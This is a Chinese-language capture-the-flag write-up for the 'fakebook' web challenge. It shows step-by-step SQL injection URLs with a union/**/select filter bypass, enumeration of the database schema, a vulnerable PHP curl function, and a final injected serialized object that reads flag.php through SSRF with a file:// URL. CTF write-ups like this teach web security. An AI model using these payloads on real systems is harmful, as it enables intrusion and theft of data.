攻防世界-web-fakebook-从0到1的解题历程writeup

题目分析

拿到题目发现有注册登录界面,一般给了注册界面的很少会是sql注入登陆界面的,所以尝试先注册一个账号。

攻防世界-web-fakebook-从0到1的解题历程writeup_第1张图片

发现这边会加载注册时填写的blog地址,并将内容加载到一个iframe中。

这时发现网址为

http://159.138.137.79:55692/view.php?no=1

感觉就是有sql注入漏洞,虽然不知道考点在不在这,但是先注了再说。
攻防世界-web-fakebook-从0到1的解题历程writeup_第2张图片

尝试了一下就发现是数字型注入

sqlmap一把梭失败emmm

尝试下手工注入

获取到列数位4列

http://159.138.137.79:55692/view.php?no=1 order by 4#

查询数据库

http://159.138.137.79:55692/view.php?no=-1 union select 1,1,1,database()#

攻防世界-web-fakebook-从0到1的解题历程writeup_第3张图片

果然,找到了sqlmap失败的原因。既然这边有过滤那么本题不出意外考点应该就在这里了。

解题思路

第一步找到过滤掉了哪些。

尝试了一下发现过滤了union select

使用union/**/select绕过

http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,2,3,4#

攻防世界-web-fakebook-从0到1的解题历程writeup_第4张图片

发现username处显示出来了,其余地方为反序列化失败。所以先在username处将数据带出。

http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,database(),3,4

得到database为fakebook

http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="fakebook"),3,4

得到表名为users

http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),3,4

得到字段为no,username,passwd,data
明显no,username,passwd为账号基本信息,查询data

http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(data) FROM fakebook.users),3,4

得到
攻防世界-web-fakebook-从0到1的解题历程writeup_第5张图片

将得到的data传入联合查询第四列的返回结果

攻防世界-web-fakebook-从0到1的解题历程writeup_第6张图片

发现可以成功解析。

使用nikto对网站进行扫描发现

攻防世界-web-fakebook-从0到1的解题历程writeup_第7张图片

有user.php的备份文件

function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }

这边get传入的就是用户信息中的blog地址,如果不是404就会将内容读出来。
存在ssrf文件读取

http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:9;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

读取file:///var/www/html/flag.php即可

你可能感兴趣的:(CTF)